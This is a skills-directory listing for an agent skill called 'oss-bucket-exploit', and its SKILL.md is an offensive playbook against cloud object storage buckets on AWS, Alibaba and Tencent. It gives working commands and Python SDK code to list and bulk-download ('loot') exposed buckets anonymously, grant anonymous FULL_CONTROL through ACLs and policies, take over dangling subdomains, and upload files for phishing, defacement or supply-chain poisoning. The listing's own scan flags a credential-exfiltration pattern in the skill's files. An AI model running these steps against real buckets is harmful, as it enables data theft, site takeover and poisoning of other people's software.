Skip to content
Back to skills

Oss Bucket Exploit

BSecurity

Object storage: anonymous list/read/write, policy and ACL abuse

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 29, 2026
securitypythongoshellbashsqlawsapi

Works with

  • cli
  • api
  • mcp

Security analysis

B76/100
  • mediumUses curl or wget to download content
  • mediumUses curl or wget to download content
  • criticalExfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study
  • mediumInstalls packages at runtime which could introduce malicious dependencies

Pro scans all 2 files and shows the line behind each finding

Scanned November 29, 2026

npx -y skills add blackfoxxx/kestrel --skill oss-bucket-exploit --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Oss Bucket Exploit?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Oss Bucket Exploit
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/blackfoxxx-oss-bucket-exploit/badge)](https://www.skillsdirectory.com/skills/blackfoxxx-oss-bucket-exploit)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: oss-bucket-exploit
description: "Object storage: anonymous list/read/write, policy and ACL abuse"
metadata: 
tags: "s3,oss,cos,obs,bucket,object-storage,acl,cloud-storage,aws,aliyun,tencent,coscli,tccli,file_upload,takeover"
category: "cloud"
mcps: autopen, pentest mcp, context1337
---

# Object Storage Bucket Misconfiguration Exploitation Methodology

Object storage is the most common exposure point in cloud environments — a misconfigured bucket with public read/write is equivalent to exposing a file server directly to the internet. More dangerously, ACL misconfigurations can let an attacker take over an entire bucket for phishing, supply-chain poisoning, or data theft.

## Deep Reference (Required Reading)

- Detailed bucket attack commands for each cloud provider (AWS/Alibaba Cloud/Tencent Cloud), ACL exploitation payloads, policy construction, coscli usage → [references/bucket-attack-methods.md](references/bucket-attack-methods.md)

---

## Phase 1: Identify Object Storage

| Indicator | Cloud Platform | Bucket URL Format |
|-----------|---------------|-------------------|
| `x-amz-*` Header, `Server: AmazonS3` | AWS S3 | `BUCKET.s3.amazonaws.com` or `s3.REGION.amazonaws.com/BUCKET` |
| `x-oss-*` Header, `.aliyuncs.com` | Alibaba Cloud OSS | `BUCKET.oss-cn-REGION.aliyuncs.com` |
| `x-cos-*` Header, `Server: tencent-cos`, `.myqcloud.com` | Tencent Cloud COS | `BUCKET-APPID.cos.REGION.myqcloud.com` |
| `x-obs-*` Header, `.myhuaweicloud.com` | Huawei Cloud OBS | `BUCKET.obs.REGION.myhuaweicloud.com` |

```bash
# Quick identification
curl -sI https://TARGET_URL | grep -iE 'x-amz|x-oss|x-cos|x-obs|AmazonS3|aliyuncs|myqcloud|tencent-cos'
```

### Tencent Cloud COS Characteristics

Tencent Cloud COS bucket names follow the format `BUCKET-APPID`, where APPID is the user's unique identifier.

```
# Bucket access domain format
<BucketName-APPID>.cos.<Region>.myqcloud.com

# Example
mybucket-1250000000.cos.ap-guangzhou.myqcloud.com

# Global bucket list (requires authentication)
GET Service HTTP/1.1
Host: cos.ap-guangzhou.myqcloud.com
```

---

## Phase 2: Attack Decision Tree

```
Found object storage?
├─ 1. List bucket contents (public read?)
│   ├─ Success → search for sensitive files (config/backups/code/credentials)
│   └─ 403 → try ACL and Policy exploitation
├─ 2. Check ACL misconfiguration (ACL readable? ACL writable?)
│   ├─ ACL writable → modify ACL to gain FULL_CONTROL
│   └─ Object ACL writable → modify individual object permissions
├─ 3. Check bucket Policy misconfiguration
│   ├─ Policy writable → gain full permissions directly
│   └─ Condition bypass → exploit weak conditions in Policy
├─ 4. Public write → upload webshell/phishing page/supply-chain poison
└─ 5. Bucket takeover (NoSuchBucket → register bucket with same name)
```

---

## Phase 3: Public Read Detection and Sensitive File Search

### AWS S3
```bash
aws s3 ls s3://BUCKET_NAME --no-sign-request
aws s3 sync s3://BUCKET_NAME ./loot --no-sign-request
```

### Alibaba Cloud OSS
```bash
curl -s "https://BUCKET.oss-cn-REGION.aliyuncs.com/?list-type=2"
ossutil ls oss://BUCKET --endpoint oss-cn-REGION.aliyuncs.com
```

### Tencent Cloud COS (prefer coscli)

```bash
# Method 1: coscli (recommended, most feature-complete)
coscli ls cos://BUCKET-APPID/ -r
coscli ls cos://BUCKET-APPID/ -r --include "*.env" --include "*.sql"

# Method 2: Python SDK (tccli has limited COS support; prefer SDK/coscli for complex operations)
# pip install cos-python-sdk-v5
# from qcloud_cos import CosConfig, CosS3Client
# client = CosS3Client(CosConfig(Region='ap-guangzhou', SecretId='Sid', SecretKey='Skey'))
# print(client.list_buckets())

# Method 3: curl direct access (no auth needed)
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/"
# Returns XML listing → public read
# Returns AccessDenied → not public

# Download files
coscli cp cos://BUCKET-APPID/path/to/file ./
coscli cp cos://BUCKET-APPID/ ./loot/ -r  # bulk download
```

### Sensitive File Search

```bash
# coscli search
coscli ls cos://BUCKET-APPID/ -r --include "*.env"
coscli ls cos://BUCKET-APPID/ -r --include "*.sql"
coscli ls cos://BUCKET-APPID/ -r --include "*.bak"
coscli ls cos://BUCKET-APPID/ -r --include "*.pem"
coscli ls cos://BUCKET-APPID/ -r --include "config*"
```

Sensitive file keywords: `backup`, `.sql`, `.env`, `config`, `credential`, `password`, `.pem`, `.key`, `flag`

---

## Phase 4: ACL Misconfiguration Exploitation

### AWS S3 ACL
```bash
aws s3api get-bucket-acl --bucket BUCKET_NAME --no-sign-request
```

### Tencent Cloud COS ACL

```bash
# View Bucket ACL (coscli)
coscli get-bucket-acl cos://BUCKET-APPID

# View Bucket ACL (curl)
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?acl"

# If ACL contains AllUsers or anonymous access → further exploitation possible
```

### Tencent Cloud COS ACL Modification (requires write permission)

```bash
# coscli set ACL
coscli put-bucket-acl cos://BUCKET-APPID --grant-full-control anyone

# Or via curl PUT ACL
cat > acl.xml << 'EOF'
<AccessControlPolicy>
  <Owner>
    <ID>qcs::cam::uin/OWNER_UIN:uin/OWNER_UIN</ID>
  </Owner>
  <AccessControlList>
    <Grant>
      <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
        <URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
      </Grantee>
      <Permission>FULL_CONTROL</Permission>
    </Grant>
  </AccessControlList>
</AccessControlPolicy>
EOF

curl -X PUT "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?acl" \
  -H "Content-Type: application/xml" \
  -d @acl.xml
```

→ Detailed ACL modification and Policy exploitation commands → [references/bucket-attack-methods.md](references/bucket-attack-methods.md)

---

## Phase 5: Bucket Takeover

When accessing a subdomain shows `NoSuchBucket`, `BucketNotFound`, or similar errors, the original bucket has been deleted but the DNS CNAME still points to it.

### AWS S3
```bash
dig +short target-subdomain.example.com
# Returns xxx.s3.amazonaws.com → potentially takeable
aws s3 mb s3://target-subdomain.example.com
```

### Tencent Cloud COS
```bash
# Confirm CNAME
dig +short target-subdomain.example.com
# Returns *.cos.*.myqcloud.com → potentially takeable

# If NoSuchBucket error is returned
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/" | grep -i "nosuchbucket"

# Create bucket with the same name in your own account
coscli mb cos://BUCKET-APPID -e cos.ap-guangzhou.myqcloud.com

# Or use tccli (no direct create-bucket command; use coscli or Python SDK)
```

### Python SDK Create COS Bucket

```python
from qcloud_cos import CosConfig, CosS3Client

secret_id = 'SecretId'
secret_key = 'SecretKey'
region = 'ap-guangzhou'
config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key)
client = CosS3Client(config)

# Create same-named bucket to take over subdomain
response = client.create_bucket(Bucket='target-bucket-1250000000')
print(response)
```

---

## Phase 6: Arbitrary File Upload Exploitation

If the bucket is configured with public write access:

### AWS S3
```bash
aws s3 cp malicious.html s3://BUCKET_NAME/ --no-sign-request
```

### Tencent Cloud COS
```bash
# coscli upload
coscli cp malicious.html cos://BUCKET-APPID/

# curl PUT upload (no auth needed)
curl -X PUT "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/test.html" \
  -d '<html><body><h1>COS Writable</h1></body></html>'

# If bucket supports HTML rendering → XSS/phishing
# If static website hosting → defacement/backlink injection
# If application asset CDN → supply-chain poisoning
```

---

## Tencent Cloud COS Tools

### coscli (Tencent Cloud COS Dedicated CLI)

```bash
# Install (choose version matching your architecture)
# Linux amd64
wget https://cosbrowser.cloud.tencent.com/software/coscli/coscli-linux-amd64
mv coscli-linux-amd64 /usr/local/bin/coscli && chmod +x /usr/local/bin/coscli
# Linux arm64 → coscli-linux-arm64
# macOS arm64 (M1/M2) → coscli-darwin-arm64
# macOS amd64 (Intel) → coscli-darwin-amd64

# Configure (interactive, generates ~/.cos.yaml)
coscli config init
# Enter when prompted: SecretId, SecretKey, SessionToken (for temp credentials), APPID, Bucket-Region

# Common commands
coscli ls                           # list all buckets
coscli ls cos://BUCKET-APPID/ -r    # recursively list bucket contents
coscli cp local.txt cos://BUCKET-APPID/remote.txt   # upload
coscli cp cos://BUCKET-APPID/remote.txt ./           # download
coscli rm cos://BUCKET-APPID/file.txt               # delete
coscli presign cos://BUCKET-APPID/file.txt           # generate pre-signed URL
coscli get-bucket-acl cos://BUCKET-APPID             # view ACL
coscli put-bucket-acl cos://BUCKET-APPID --grant-read anyone  # set ACL
```

### Python SDK (cos-python-sdk-v5)

Use when coscli or tccli cannot perform specific operations.

```bash
pip install cos-python-sdk-v5
```

```python
from qcloud_cos import CosConfig, CosS3Client
import json

secret_id = 'SecretId'
secret_key = 'SecretKey'
region = 'ap-guangzhou'
token = None  # fill in Token for temporary credentials

config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token)
client = CosS3Client(config)

# List all buckets
response = client.list_buckets()

# List objects in a bucket
response = client.list_objects(Bucket='bucket-1250000000')

# Get Bucket ACL
response = client.get_bucket_acl(Bucket='bucket-1250000000')

# Get Bucket Policy
response = client.get_bucket_policy(Bucket='bucket-1250000000')

# Get Bucket CORS
response = client.get_bucket_cors(Bucket='bucket-1250000000')

# Get Bucket encryption config
response = client.get_bucket_encryption(Bucket='bucket-1250000000')

# Get Bucket logging config
response = client.get_bucket_logging(Bucket='bucket-1250000000')

# Download file
response = client.get_object(Bucket='bucket-1250000000', Key='secret.txt')

# Upload file
response = client.put_object(Bucket='bucket-1250000000', Key='test.html', Body=b'<html>test</html>')

# Set Bucket ACL (public read)
response = client.put_bucket_acl(Bucket='bucket-1250000000', ACL='public-read')

# Set Bucket Policy
policy = {
    "version": "2.0",
    "statement": [{
        "effect": "allow",
        "principal": {"qcs": ["qcs::cam::anyone:anyone"]},
        "action": ["name/cos:*"],
        "resource": [
            "qcs::cos:ap-guangzhou:uid/1250000000:bucket-1250000000/*",
            "qcs::cos:ap-guangzhou:uid/1250000000:bucket-1250000000"
        ]
    }]
}
response = client.put_bucket_policy(Bucket='bucket-1250000000', Policy=json.dumps(policy))
```

## Notes

- Object storage misconfigurations are extremely common, especially in dev/test environments
- Bucket names are globally unique (AWS/Alibaba Cloud/Tencent Cloud etc.) — knowing the name is enough to attempt access
- Modifying ACL/Policy produces operation logs (CloudTrail/ActionTrail/CloudAudit)
- Some cloud providers block public listing by default, but individual objects may still be accessible
- Tencent Cloud COS bucket names must include the APPID suffix (e.g., `bucket-1250000000`)
- coscli is the dedicated tool for Tencent Cloud COS; more capable than tccli cos
- tccli has limited COS support (bucket-level APIs work); prefer coscli or SDK for object-level listing and bulk downloads

Files in this skill

  • SKILL.md11.1 KB
  • references/bucket-attack-methods.md11.8 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.